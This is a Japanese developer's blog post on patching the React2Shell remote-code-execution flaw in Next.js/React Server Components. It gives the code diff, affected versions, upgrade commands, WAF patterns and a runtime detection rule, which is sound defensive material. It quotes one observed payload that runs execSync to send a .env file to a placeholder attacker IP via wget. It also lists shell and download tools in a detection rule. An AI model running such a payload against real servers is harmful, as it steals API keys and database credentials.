クライアント案件のNext.jsプロジェクトで npm audit を叩いたら、赤字で critical が表示された日のことは忘れられません。React2Shell(CVE-2025-55182)——CVSSスコア10.0、つまり最大値の脆弱性です。
僕は福祉事業のIT全般をCTOとして担当しつつ、個人でもNext.jsを使った開発をしています。この記事は、あの日自分がやった対応手順をそのまままとめたものです。同じようにNext.jsを使っているエンジニアの方が「自分もチェックしなきゃ」と行動するきっかけになれば嬉しいです。
React2Shellとは?CVSSスコア10.0の脆弱性が生まれた背景
React2Shell(CVE-2025-55182)は、2025年12月に公開されたReact Server Components(RSC)の脆弱性です。CVSSスコアが10.0——「最大値」です。
具体的には、以下の条件が揃っています。
- 認証不要 — ログインなしで攻撃できる
- ネットワーク経由 — インターネット越しに攻撃可能
- ユーザー操作不要 — 被害者が何もクリックしなくても攻撃が成立
- 任意コード実行 — サーバー上で好きなコマンドを実行できる
公開から数時間以内に攻撃が始まっています。GreyNoiseの観測によると、累計810万超の攻撃セッションが記録され、ピーク時は1日あたり43万セッションを超えました。Vercelは自社WAFで数週間に600万件以上のエクスプロイト試行をブロックしたと公式ブログで報告しています。
技術解説:Flight protocolのどこに穴があったのか
React Server Componentsは「Flight protocol」というReact独自のプロトコルで、サーバーとクライアント間のデータをやり取りします。問題は、このプロトコルでデータを受け取る部分にありました。
根本原因は、「受け取ったオブジェクトのプロパティを、存在確認なしにアクセスしていた」ということです。具体的なコードの差分を見ると、問題がよくわかります。
// 脆弱コード(修正前)
return moduleExports[metadata[NAME]];
// パッチ済みコード(修正後)
if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
return moduleExports[metadata[NAME]];
}
return (undefined: any);
修正はたった数行です。hasOwnProperty で「そのプロパティが本当にそのオブジェクト自身のものか?」をチェックしているだけ。たったこれだけの漏れがCVSS 10.0になるのがセキュリティの怖いところです。
実際の攻撃では、.envファイルの中身(APIキーやDBパスワード)を外部サーバーに送信するペイロードが観測されています。
// 実際に観測された攻撃ペイロード(.envファイル窃取)
process.mainModule.require('child_process')
.execSync('cat ./.env | wget --post-data="$(cat -)" -O- http://[攻撃者IP]:8000');
あなたのプロジェクトは大丈夫?影響確認とパッチ適用手順
Step 1: 脆弱なバージョンかチェック
影響を受けるバージョンは以下の通りです。
| フレームワーク | 脆弱バージョン | 修正バージョン |
|---|---|---|
| React | 19.0.0〜19.2.0 | 19.2.1以降 |
| Next.js (v13-14系) | 13.3.x〜14.2.34 | 14.2.35 |
| Next.js (v15系) | 15.0.0〜15.0.7 | 15.0.8 |
| Next.js (v16系) | 16.0.0〜16.0.10 | 16.0.11 |
Next.js以外にも、React Router、Waku、@parcel/rsc、@vitejs/plugin-rsc、rwsdk(Redwood SDK)が影響を受けます。App Routerを使っていなければ(Pages Routerのみなら)影響はありません。
Step 2: npm auditで確認
# 脆弱性の確認
npm audit
# 脆弱パッケージの一覧をJSON形式で取得
npm audit --json | jq '.vulnerabilities | keys[]'
Step 3: パッチ適用
# 自分のNext.jsバージョンに合わせて実行
npm install next@14.2.35 # v13.3.x〜14.x系の場合
npm install next@15.0.8 # v15.0.x系の場合
npm install next@16.0.11 # v16.0.x系の場合
Assetnoteが公開している react2shell-scanner を使えば、外部からサーバーが脆弱かどうかをスキャンすることもできます。
WAF・検知ルールで守る多層防御の実践
パッチを当てたから安心とは限りません。セキュリティの鉄則は「多層防御」です。
WAF(Web Application Firewall)の設定
HTTPリクエストのレベルで、以下のパターンを監視・ブロックしましょう。
$ACTION_REF_0および$ACTION_0:0パラメータ — Server Actionsのトリガーに使われるパラメータ- JSONペイロード内の
__proto__プロパティ操作 — プロトタイプ汚染の典型パターン Next-ActionHTTPヘッダーの不正な使用 — 正規のServer Action以外からのリクエスト
Vercelを使っている場合は、Vercel WAFが既にこのパターンに対応しています。セルフホスティングしている場合は、Cloudflare WAFやAWS WAFで上記のルールを手動で追加する必要があります。
ランタイム検知ルール
Datadog等のランタイム監視ツールを使っている場合は、以下のような検知ルールが有効です。
// Datadog Workload Protection用の検知シグネチャ
process.parent.file.name == 'node' && (
exec.file.path in ['/bin/sh', '/bin/bash', '/usr/bin/curl', '/usr/bin/wget']
OR exec.comm in ['wget', 'curl']
)
要するに「Node.jsプロセスの子プロセスとして、sh や curl、wget が実行されたら異常」という検知です。
WAFだけでは不十分なケース
リクエストボディの先頭部分しか検査しないWAFでは、巨大なペイロードの末尾に攻撃コードを仕込むことで回避される可能性があります。WAFの検査バイト数制限を確認し、可能な限り全体を検査する設定にしてください。
今日やるべき4ステップ
| # | アクション | 所要時間 | コマンド |
|---|---|---|---|
| 1 | npm audit で脆弱性確認 |
1分 | npm audit |
| 2 | Next.jsを修正版にアップデート | 5〜30分 | npm install next@14.2.35 等 |
| 3 | WAFで __proto__ パターンをブロック |
15分 | — |
| 4 | CI/CDに npm audit を組み込む |
30分 | — |
環境変数(APIキー等)のローテーションもやっておくと安心です。万が一すでに漏洩していた場合、パッチだけでは被害が止まりません。
React2Shellのような脆弱性をAIで自動検出するツールも登場しています。詳しくはClaude Code Securityとは?AI脆弱性自動検出の仕組みと実践ガイドをご覧ください。
パッチを当てないまま放置すると何が起きるか
「うちは小さいサービスだから狙われないでしょ」——これが一番危険な思い込みです。
RondoDoxボットネットは自動スキャンで9万台以上の脆弱なシステムにマルウェアをデプロイしました。攻撃者は手動で狙うのではなく、脆弱なサーバーを自動的にスキャンして片っ端から攻撃しています。規模の大小は関係ありません。
パッチを当てないまま放置すると、ある日突然 .env の中身が全部抜かれ、顧客データが漏洩し、サービスが乗っ取られる——そんな事態が現実に起きています。
この記事を書いている理由
React2Shellの公開当日、僕はクライアント案件のNext.js 15系プロジェクトで npm audit を実行しました。結果は 1 critical vulnerability。幸い、App Routerは使っていたものの外部公開前のステージング環境だったので、パッチ適用して事なきを得ました。
もし本番環境で、しかも気づくのが1週間遅れていたら——と思うとゾッとします。
SES時代、セキュリティ対応を他人任せにせざるを得なかった経験があるからこそ、フリーランスとして独立した今は「自分のプロジェクトは自分で守る」という意識を強く持っています。
セキュリティ対策は地味だし面倒です。でも何も起きないことが最大の成果。地味な作業こそ、プロとしての仕事だと思っています。